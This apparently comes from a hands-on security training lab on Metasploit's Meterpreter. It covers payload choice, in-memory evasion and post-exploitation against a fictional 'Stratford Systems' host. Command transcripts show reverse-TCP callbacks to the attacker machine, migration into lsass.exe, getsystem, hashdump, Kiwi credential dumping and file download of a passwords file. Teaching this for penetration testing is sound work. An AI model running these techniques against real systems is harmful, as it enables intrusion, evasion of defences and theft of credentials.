In the previous room, Metasploit: Scanning and Exploitation, you exploited STRATFORD-WS01 using EternalBlue and landed in an interactive session. The prompt said meterpreter >, you typed getuid, and the target responded with NT AUTHORITY\SYSTEM. It felt like a command shell, but it clearly was not cmd.exe or /bin/bash. So what exactly is Meterpreter, and why does Metasploit treat it as the default payload for most exploits?

What Meterpreter Is

Meterpreter (short for "Meta-Interpreter") is an advanced, multi-function payload that runs on the target system and acts as an agent in a command-and-control (C2) architecture. Unlike a basic command shell that simply relays OS commands back and forth, Meterpreter provides a purpose-built environment with dozens of specialized commands for post-exploitation: file system navigation, credential harvesting, process manipulation, privilege escalation, pivoting, and more.

Consider the difference this way. A basic reverse shell gives you a pipe to the target's operating system. You type dir, the OS runs dir, and the output comes back. Meterpreter gives you a toolkit that runs inside the target's memory. It can do things that no sequence of OS commands could accomplish on its own, like migrating from one running process to another, injecting DLLs, or capturing keystrokes without writing a keylogger to disk.

How Meterpreter Works: Three Design Principles

Meterpreter was designed with stealth and flexibility in mind. Understanding its architecture helps explain both its strengths and its limitations.

1. In-Memory Execution

Meterpreter runs entirely in the target's RAM (Random Access Memory). It does not write itself to disk as a file like meterpreter.exe. Instead, the payload is injected into an existing running process through a technique called reflective DLL injection, which loads a DLL directly into process memory without registering it through the operating system's normal module-loading API.

Why does this matter? Traditional antivirus software primarily scans files on disk. When you download a file, create a new executable, or extract an archive, the AV engine inspects the new file against its signature database. Since Meterpreter never creates a file on disk, it bypasses this specific detection mechanism.

Imagine the following example. We've exploited STRATFORD-WS01; the getpid command shows the process ID that Meterpreter is running inside:

meterpreter > getpid

Current pid: 1304

If we list the running processes with ps, PID 1304 is spoolsv.exe (the Windows Print Spooler service), not anything called "meterpreter":

           meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System             x64   0
 692   596   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 716   596   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 1304  692   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 [...]
        

To anyone examining the process list, PID 1304 looks like a legitimate print spooler. There is no meterpreter.exe, no suspicious process name, and no file on disk to scan.

2. Encrypted Communication

All traffic between Meterpreter and your attacking machine is encrypted. Depending on the payload variant, this may use TLS (for HTTPS-based Meterpreters) or AES encryption (for TCP-based variants). This means that network-based Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) cannot inspect the payload's command traffic without first decrypting it.

If the target organization does not perform TLS inspection on outbound traffic (and many do not), the communication between your Meterpreter session and your attacking machine will appear as ordinary encrypted web traffic to network monitoring tools.

3. Extensibility Through Loading

Meterpreter is modular. Its core is deliberately small; additional capabilities are loaded on demand through the load command. When you type load kiwi (to load the Mimikatz-based credential harvesting extension), the extension is transferred to the target and loaded into Meterpreter's memory space, again without writing to disk.

This design means Meterpreter's initial footprint is minimal. Only the features you actually need are transferred to the target, reducing both detection surface and network traffic.

Honest Limitations

Meterpreter is powerful, but it is not invisible. Modern Endpoint Detection and Response (EDR) solutions go far beyond simple file scanning:

• Behavioral detection monitors process activity patterns. Reflective DLL injection, process migration, and credential dumping are well-known behaviors that EDR products actively flag.
• Memory scanning examines process memory for known malicious signatures, catching injected payloads that never touched disk.
• AMSI (Antimalware Scan Interface) on modern Windows systems can inspect scripts and payloads at runtime, even when they are loaded in memory.

In a well-defended enterprise environment, a default Meterpreter payload will likely be detected. The techniques we cover in this room are essential foundations, but real-world engagements against mature security programs require additional evasion strategies that go beyond this module's scope.

For our Stratford Systems engagement, the lab environment does not have EDR deployed, so Meterpreter will work without interference. This lets us focus on learning the commands and techniques without fighting detection at the same time.

You just saw Meterpreter running on a Windows target as a reflective DLL injected into spoolsv.exe. But what if your target is a Linux server with no Windows DLL loader? Or a web application running PHP? Meterpreter is not a single binary; it is a family of implementations, each built for a different platform and runtime environment. Choosing the right one is a decision you will make on every engagement. 

Meterpreter Implementations

Metasploit ships Meterpreter in several platform-specific implementations:

Windows Meterpreter is the original and most feature-rich version. It uses reflective DLL injection and provides the full command set: migrate, hashdump, getsystem, load kiwi, keystroke capture, screenshot, webcam access, and more. If your target is a Windows system, this is the default and almost always the right choice.

Mettle (Linux, macOS, and other POSIX systems) is Meterpreter's cross-platform counterpart. Written in C, Mettle provides core Meterpreter functionality (file system, networking, process management) on Linux, macOS, BSD, and embedded systems. It does not support Windows-specific features like hashdump or getsystem, but it provides everything you need for post-exploitation on Unix-like targets.

Java Meterpreter runs inside a Java Virtual Machine (JVM). This is useful when your exploit targets a Java application (like Apache Tomcat or a Jenkins server) and you can inject a Java payload. It is platform-independent but has a smaller command set than the native implementations.

PHP Meterpreter runs as interpreted PHP code within a web server's PHP runtime. It is the go-to choice when exploiting PHP-based web applications (WordPress, Joomla, custom PHP apps). It is the most limited Meterpreter variant, with no process migration or native OS integration, but it provides file system access, command execution, and reverse shell capabilities within the web server's context.

Python Meterpreter runs as interpreted Python code. Like PHP Meterpreter, it depends on the target having Python installed. It provides a middle ground between the limited PHP variant and the full-featured native implementations.

The Three-Factor Decision Framework

When selecting a Meterpreter payload, three factors determine your choice:

Factor 1: Target operating system

This is the primary filter. If the target runs Windows, you want windows/x64/meterpreter/reverse_tcp (or its x86 counterpart). If it runs Linux, you want linux/x64/meterpreter/reverse_tcp. The OS determines which implementation will execute on the target.

Factor 2: Available components on the target

If you are exploiting a PHP web application, the target has a PHP interpreter available; use PHP Meterpreter. If you are exploiting a Java application server, use Java Meterpreter. The implementation must match what the target can actually run. You cannot inject a Windows DLL into a Linux process, and you cannot run PHP Meterpreter on a target that does not have PHP installed.

Factor 3: Connection type

Meterpreter supports several connection methods:

• reverse_tcp: The target connects back to your machine on a specified port. Most common and most reliable.
• reverse_http / reverse_https: The target connects back over HTTP or HTTPS. Useful when the target's firewall only allows outbound web traffic.
• bind_tcp: Meterpreter listens on a port on the target, and you connect to it. Useful when the target cannot initiate outbound connections (e.g., behind a strict egress firewall).

In most scenarios, reverse_tcp is the default and the right choice. Use reverse_https when you need to blend with web traffic or bypass egress filtering. Use bind_tcp only when reverse connections are not possible.

Worked Examples

Let's apply the framework to three scenarios from the Stratford Systems engagement:

Scenario 1: You are exploiting EternalBlue on STRATFORD-WS01 (Windows 7, x64).

• OS: Windows → windows/x64/meterpreter/...
• Components: Full Windows OS → native Meterpreter (DLL injection)
• Connection: No egress restrictions → reverse_tcp
• Payload: windows/x64/meterpreter/reverse_tcp

Scenario 2: You have found an upload vulnerability in a PHP web application on a Linux server.

• OS: Linux, but the exploit runs through PHP → php/meterpreter/...
• Components: PHP runtime available (it is a PHP app) → PHP Meterpreter
• Connection: Web server likely allows outbound HTTP → reverse_tcp (or reverse_http if strict)
• Payload: php/meterpreter/reverse_tcp

Scenario 3: You are targeting a Jenkins server (Java) on an internal host that blocks all outbound traffic except HTTPS on port 443.

• OS: The exploit targets the Java application → java/meterpreter/...
• Components: JVM available (it is a Java app) → Java Meterpreter
• Connection: Only HTTPS outbound → reverse_https with LPORT 443
• Payload: java/meterpreter/reverse_https

Staged vs. Stageless Meterpreter

As we covered in the Introduction room, Meterpreter payloads come in both staged and stageless variants. The naming convention tells you which:

• windows/x64/meterpreter/reverse_tcp — The / between meterpreter and reverse_tcp means staged. A small stager connects first, then downloads the full Meterpreter.
• windows/x64/meterpreter_reverse_tcp — The _ between meterpreter and reverse_tcp means stageless. The entire Meterpreter is delivered in a single payload.

For most msfconsole exploits, the staged version is the default and works well. Stageless payloads are more common when generating standalone files with msfvenom (covered in the next room), where you need a self-contained binary that does not depend on a second download.

Listing Available Meterpreter Payloads

You can see all Meterpreter payloads available in the framework by searching within msfconsole:

           msf6 > search type:payload meterpreter

Matching Modules
================

   #    Name                                                 Rank    Description
   -    ----                                                 ----    -----------
   0    payload/android/meterpreter/reverse_http              normal  Android Meterpreter, Reverse HTTP
   1    payload/android/meterpreter/reverse_https             normal  Android Meterpreter, Reverse HTTPS
   2    payload/android/meterpreter/reverse_tcp               normal  Android Meterpreter, Reverse TCP
   [...]
   45   payload/linux/x64/meterpreter/reverse_tcp             normal  Linux Mettle x64, Reverse TCP Stager
   46   payload/linux/x64/meterpreter_reverse_http            normal  Linux Meterpreter, Reverse HTTP Inline
   [...]
   112  payload/windows/x64/meterpreter/reverse_tcp           normal  Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
   113  payload/windows/x64/meterpreter_reverse_tcp           normal  Windows Meterpreter Shell, Reverse TCP Inline
   [...]
        

The full list contains over 100 entries across all platforms and connection types. You do not need to memorize them. The three-factor framework (OS → components → connection) will always narrow you to the right choice.

You are inside a Stratford Systems workstation. The meterpreter > prompt is waiting. Before you start hunting for credentials or escalating privileges, you need to answer three basic questions: Where am I? Who am I? What is on this machine?

Meterpreter has dozens of built-in commands. Rather than listing them alphabetically (you can always type help for that), this task organizes them by the job they do. Every command demonstrated here runs directly within the Meterpreter session, without loading additional extensions or writing files to disk.

Situational Awareness

These commands tell you about the system you have landed on and the context you are operating in.

sysinfo — Displays the target's hostname, operating system, architecture, and domain:

           meterpreter > sysinfo
Computer        : STRATFORD-WS01
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : STRATFORD
Logged On Users : 2
Meterpreter     : x64/windows
        

This is typically the first command you run after landing. It confirms the target OS, architecture, and domain membership in a single output.

getuid — Shows the user account Meterpreter is running as:

           meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
        

NT AUTHORITY\SYSTEM is the highest privilege level on a Windows system. If you see a regular user account here (e.g., STRATFORD\svc_backup), you will need to escalate privileges before you can access sensitive data like password hashes.

getpid — Returns the process ID that Meterpreter is currently running inside:

           meterpreter > getpid
Current pid: 1304
        

ps — Lists all running processes on the target. This is useful for identifying processes to migrate into, finding interesting applications (browsers, email clients, password managers), and confirming your current process context:

           meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 692   596   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 716   596   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 1304  692   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1540  692   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 [...]
        

We can notice a few useful details: Meterpreter is in PID 1304 (spoolsv.exe), lsass.exe is at PID 716 (we will need this for credential dumping later), and user ballen has an active desktop session with explorer.exe and notepad.exe running.

idletime — Shows how long the remote user has been idle:

           meterpreter > idletime
User has been idle for: 1 hour 23 mins 14 secs
        

If you are concerned about a user noticing your activity (screen changes, cursor movement during migration), this tells you whether anyone is actively at the keyboard.

File System Operations

These commands let you navigate and interact with the target's file system.

pwd, cd, ls — Navigate directories just like a Linux terminal:

           meterpreter > pwd
C:\Windows\system32
meterpreter > cd C:\Users\ballen\Desktop
meterpreter > ls

Listing: C:\Users\ballen\Desktop
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2026-01-15 09:22:18 +0000  desktop.ini
100666/rw-rw-rw-  38    fil   2026-02-20 14:05:33 +0000  notes.txt
100666/rw-rw-rw-  2048  fil   2026-03-01 11:42:07 +0000  budget_q1.xlsx
        

cat — Displays the contents of a file:

           meterpreter > cat C:\Users\ballen\Desktop\notes.txt
VPN credentials - ask IT for reset
Backup server: 10.49.14.60
        

search — Searches the entire file system (or a specific directory) for files matching a pattern:

           meterpreter > search -f *.txt -d C:\Users
Found 3 results...
    C:\Users\ballen\Desktop\notes.txt (38 bytes)
    C:\Users\ballen\Documents\passwords.txt (124 bytes)
    C:\Users\Public\readme.txt (892 bytes)
        

The -f flag specifies the file pattern (wildcards supported), and -d limits the search to a specific directory tree. Without -d, Meterpreter searches the entire file system, which can be slow.

download and upload — Transfer files between the target and your machine:

           meterpreter > download C:\Users\ballen\Documents\passwords.txt /home/kali/loot/
[*] Downloading: C:\Users\ballen\Documents\passwords.txt -> /home/kali/loot/passwords.txt
[*] Downloaded 124.00 B of 124.00 B (100.0%): passwords.txt -> /home/kali/loot/passwords.txt
        

           meterpreter > upload /home/kali/tools/winPEAS.exe C:\Temp\
[*] Uploading  : /home/kali/tools/winPEAS.exe -> C:\Temp\winPEAS.exe
[*] Uploaded 1.87 MiB of 1.87 MiB (100.0%): winPEAS.exe -> C:\Temp\winPEAS.exe
        

Networking

These commands provide visibility into the target's network configuration and connections.

ifconfig — Displays the target's network interfaces:

           meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1

Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 02:ce:59:27:c8:e3
MTU          : 1500
IPv4 Address : MACHINE_IP
IPv4 Netmask : 255.255.255.0
        

If the target has multiple network interfaces (e.g., one facing the internal network and one facing a management VLAN), this is how you discover pivot opportunities.

netstat — Shows active network connections, revealing what the target is communicating with:

           meterpreter > netstat

Connection list
===============

    Proto  Local address       Remote address      State        User  Inode  PID/Program name
    -----  -------------       --------------      -----        ----  -----  ----------------
    tcp    MACHINE_IP:139      0.0.0.0:*           LISTEN       0     0      4/System
    tcp    MACHINE_IP:445      0.0.0.0:*           LISTEN       0     0      4/System
    tcp    MACHINE_IP:49186    CONNECTION_IP:4444   ESTABLISHED  0     0      1304/spoolsv.exe
    [...]
        

We can see our own Meterpreter connection (10.10.14.12:4444) in the ESTABLISHED list. In a real engagement, you would also look for connections to internal databases, file shares, or other systems that could be pivot targets.

Interacting with the OS

shell — Drops you into a native operating system shell on the target:

           meterpreter > shell
Process 2880 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
        

You are now in cmd.exe on the target. This is useful when you need to run a Windows command that Meterpreter does not have a built-in equivalent for. Type exit to return to the Meterpreter prompt.

execute — Runs a command on the target without dropping into a shell. The -f flag specifies the command, and -i makes it interactive:

           meterpreter > execute -f ipconfig -i
Process 2912 created.
Channel 2 created.

Windows IP Configuration

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : MACHINE_IP
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.49.14.1
        

The Help Command

This task covered the commands you will use most frequently. Meterpreter has many more. Typing help at any Meterpreter prompt displays the complete command list organized by category:

           meterpreter > help

Core Commands
=============
    Command       Description
    -------       -----------
    background    Backgrounds the current session
    exit          Terminate the Meterpreter session
    help          Displays the help menu
    migrate       Allows you to migrate Meterpreter to another process
    run           Executes a Meterpreter script or Post module
    sessions      Quickly switch to another session

[...File system commands, Networking commands, System commands, etc.]
        

Every Meterpreter version has a different command set. The Windows version includes commands for webcam access, keystroke capture, and screenshot capture that do not exist in the Linux (Mettle) version. Always run help after establishing a session to see exactly what is available.

In the previous task, you learned how to look around: checking system information, navigating files, and examining network connections. Now the focus shifts to acting on what you find. Post-exploitation is where you escalate privileges, harvest credentials, load specialized tools, and leverage Metasploit's post-exploitation modules through your existing session.

Process Migration

Migration is the act of moving your Meterpreter session from one process to another on the target system. This is one of the most important techniques to understand, because it affects both your stability and your privilege level.

Why migrate? Several reasons:

• Stability: If Meterpreter is running inside a process that the user or system might close (like a browser or a service that restarts), migrating to a long-lived process (like explorer.exe or svchost.exe) keeps your session alive.
• Privilege context: Your Meterpreter session inherits the privileges of the process it lives in. Migrating to a process running as a different user changes your effective privileges.
• Capability access: Some operations require being inside a specific process. For example, capturing keystrokes from a user's desktop requires migrating to a process in that user's session (like explorer.exe).

The migrate command takes a target process ID:

           meterpreter > getpid
Current pid: 1304
meterpreter > ps

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 716   596   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 1304  692   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 [...]

meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 716
        

Meterpreter has moved from spoolsv.exe (PID 1304) to lsass.exe (PID 716). Since lsass.exe is the Local Security Authority Subsystem Service, which handles authentication, migrating here is a common prerequisite for dumping credentials.

A critical warning: migration is a one-way operation, and it can change your privilege level. If you migrate from a SYSTEM process to a process running as a regular user, you lose SYSTEM privileges. Always check getuid after migrating to confirm your privilege level has not dropped:

           meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
        

Still SYSTEM, because lsass.exe runs as SYSTEM. If we had migrated to explorer.exe (PID 2044, running as STRATFORD\ballen), we would have dropped to that user's privilege level.

Privilege Escalation with Getsystem

The getsystem command attempts to elevate your privileges to NT AUTHORITY\SYSTEM using several built-in techniques (named pipe impersonation, token duplication):

           meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
        

getsystem works when your current user has local administrator privileges but is not yet running as SYSTEM. It is a quick, built-in privilege escalation that covers the most common scenario. If it fails (the target may have protections in place or your user may not have sufficient privileges), you will need to explore other escalation paths, which are covered in the Privilege Escalation module later in this learning path.

Credential Harvesting with Hashdump

The hashdump command extracts local user account hashes from the target's SAM (Security Account Manager) database:

           meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ballen:1001:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
jchambers:1002:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c:::
        

Each line follows the format username:RID:LM_hash:NTLM_hash:::. The NTLM hash (the fourth field) is the one you will typically work with for cracking or pass-the-hash attacks.

hashdump requires SYSTEM privileges. If you are running as a regular user, the command will fail with an access denied error. The common workflow is: check getuid → if not SYSTEM, try getsystem → if that fails, migrate to a SYSTEM process like lsass.exe → then run hashdump.

Loading Extensions: Kiwi

Meterpreter's load command adds extension modules to your current session. The most well-known extension is Kiwi, which brings Mimikatz-style credential harvesting capabilities directly into Meterpreter.

           meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

Success.
        

Once loaded, new commands appear in the help menu. The most useful one is creds_all, which retrieves all available credentials from the target's memory:

           meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username   Domain     NTLM                              SHA1
--------   ------     ----                               ----
ballen     STRATFORD  e02bc503339d51f71d913c245d35b50b   a]4f2d7b24e0f1c7...

wdigest credentials
===================

Username   Domain     Password
--------   ------     --------
ballen     STRATFORD  Password1

[...]
        

Notice that creds_all retrieved the cleartext password for the ballen account through WDigest credentials. On older Windows systems (pre-Windows 8.1/Server 2012 R2 without KB2871997), WDigest stores plaintext passwords in memory by default. This is a critical finding in any engagement.

Other useful Kiwi commands include lsa_dump_sam (dumps the SAM database, similar to hashdump), lsa_dump_secrets (dumps LSA secrets), and golden_ticket_create (for Kerberos attacks in Active Directory environments, covered in the AD module).

Note: load kiwi replaced the older load mimikatz command. If you type load mimikatz, Metasploit automatically loads Kiwi instead.

Loading Python

For more flexible scripting on the target, you can load the Python extension:

           meterpreter > load python
Loading extension python...Success.
meterpreter > python_execute "import os; print(os.environ['COMPUTERNAME'])"
[+] Content written to stdout:
STRATFORD-WS01
        

This gives you a full Python interpreter inside the Meterpreter session, useful for running custom scripts, parsing data, or automating repetitive tasks without uploading standalone tools.

Running Post-Exploitation Modules

Beyond built-in commands and extensions, Metasploit has a full library of post-exploitation modules (the post/ category from Room 1). These modules run through an existing session, using the SESSION parameter to specify which session to operate on.

The workflow is:

1. Background your Meterpreter session
2. Load the post module with use
3. Set the SESSION parameter to your session ID
4. Run the module

Consider an example. You want to enumerate the domain that STRATFORD-WS01 is a member of:

           meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_domain
msf6 post(windows/gather/enum_domain) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/enum_domain) > run

[+] FOUND Domain: STRATFORD
[+] FOUND Domain Controller: STRATFORD-DC (IP: 10.10.14.55)
[*] Post module execution completed
msf6 post(windows/gather/enum_domain) >
        

The module used session 1 (our Meterpreter session on STRATFORD-WS01) to query the domain and discovered the domain controller. This pattern, background → use post module → set SESSION → run, is how you extend Meterpreter's capabilities with Metasploit's entire post-exploitation library.

Other commonly used post modules include:

• post/windows/gather/enum_shares — Lists network shares
• post/windows/gather/enum_applications — Lists installed applications
• post/multi/gather/env — Dumps environment variables
• post/multi/manage/shell_to_meterpreter — Upgrades a basic shell session to Meterpreter

You can search for post modules with search type:post <keyword> from the msfconsole prompt.

It is time to put everything together. In this task, you will gain initial access to a Stratford Systems workstation using provided credentials and then use the Meterpreter commands and post-exploitation techniques from the previous tasks to explore the target and answer the questions below.

Press the Start Machine button below if you have not already done so.

Getting Your Initial Foothold

Use the exploit/windows/smb/psexec module to gain a Meterpreter session on the target. This module authenticates to the SMB service using valid credentials and executes a payload, giving you an interactive session without needing to exploit a vulnerability. When running this module, Metasploit starts the PSEXEC service on the target host, but sometimes this service might not start fast enough. If the module fails to give you a meterpreter shell, run it a second time.

Use the following credentials:

• Username: ballen
• Password: Password1

Here is the setup:

           msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(windows/smb/psexec) > set SMBUser ballen
SMBUser => ballen
msf6 exploit(windows/smb/psexec) > set SMBPass Password1
SMBPass => Password1
msf6 exploit(windows/smb/psexec) > set LHOST CONNECTION_IP
LHOST => ATTACKER_IP
msf6 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on CONNECTION_IP:4444
[*] MACHINE_IP:445 - Connecting to the server...
[*] MACHINE_IP:445 - Authenticating to MACHINE_IP:445|STRATFORD as user 'ballen'...
[*] MACHINE_IP:445 - Selecting PowerShell target
[*] MACHINE_IP:445 - Executing the payload...
[*] Sending stage (201283 bytes) to MACHINE_IP
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:49182) at 2026-03-18 16:15:42 +0000

meterpreter >
        

You now have a Meterpreter session. Use the commands and techniques from Tasks 3 and 4 to answer the following questions.

Tips before you start:

• Some questions require using post-exploitation modules. Remember the pattern: background → use post/... → set SESSION 1 → run.
• For hashdump to work, you may need to migrate to the lsass.exe process first. Use ps to find its PID, then migrate <pid>.
• For hash cracking, you can use an online service like CrackStation or a local tool like john or hashcat.
• Use search -f <filename> to locate files on the target. Add -d C:\ to search from the root if needed.

In this room, you went from understanding what Meterpreter is to using it as a full post-exploitation platform against a Stratford Systems target. Let's recap what you covered:

1. Meterpreter architecture: Meterpreter is an in-memory payload that uses reflective DLL injection, encrypted communication, and modular extensibility to provide a feature-rich post-exploitation environment. It is powerful but not invisible; modern EDR solutions can detect its behaviors.

2. Choosing the right Meterpreter: Five implementations (Windows, Mettle/Linux, Java, PHP, Python) cover different target platforms. The three-factor selection framework, target OS, available runtime components, and connection type, narrows you to the right payload every time.

3. Essential commands: Organized by use case, not alphabetically. Situational awareness (sysinfo, getuid, ps), file system operations (search, download, upload), networking (ifconfig, netstat), and OS interaction (shell, execute) give you the tools to explore and extract data from a compromised system.

4. Post-exploitation techniques: Process migration for stability and privilege context, getsystem for privilege escalation, hashdump for credential extraction, load kiwi for Mimikatz-style credential harvesting, and the background → use post/ → set SESSION → run pattern for leveraging Metasploit's full post-exploitation module library.

Throughout all four rooms in this module, you have used Meterpreter as a payload delivered by an exploit launched from msfconsole. But what happens when you cannot reach the target with a direct exploit? What if you need to generate a standalone payload file, an executable, a web shell, or raw shellcode, and deliver it to the target through a different channel?

That is the focus of the next and final room: Metasploit: Payload Generation.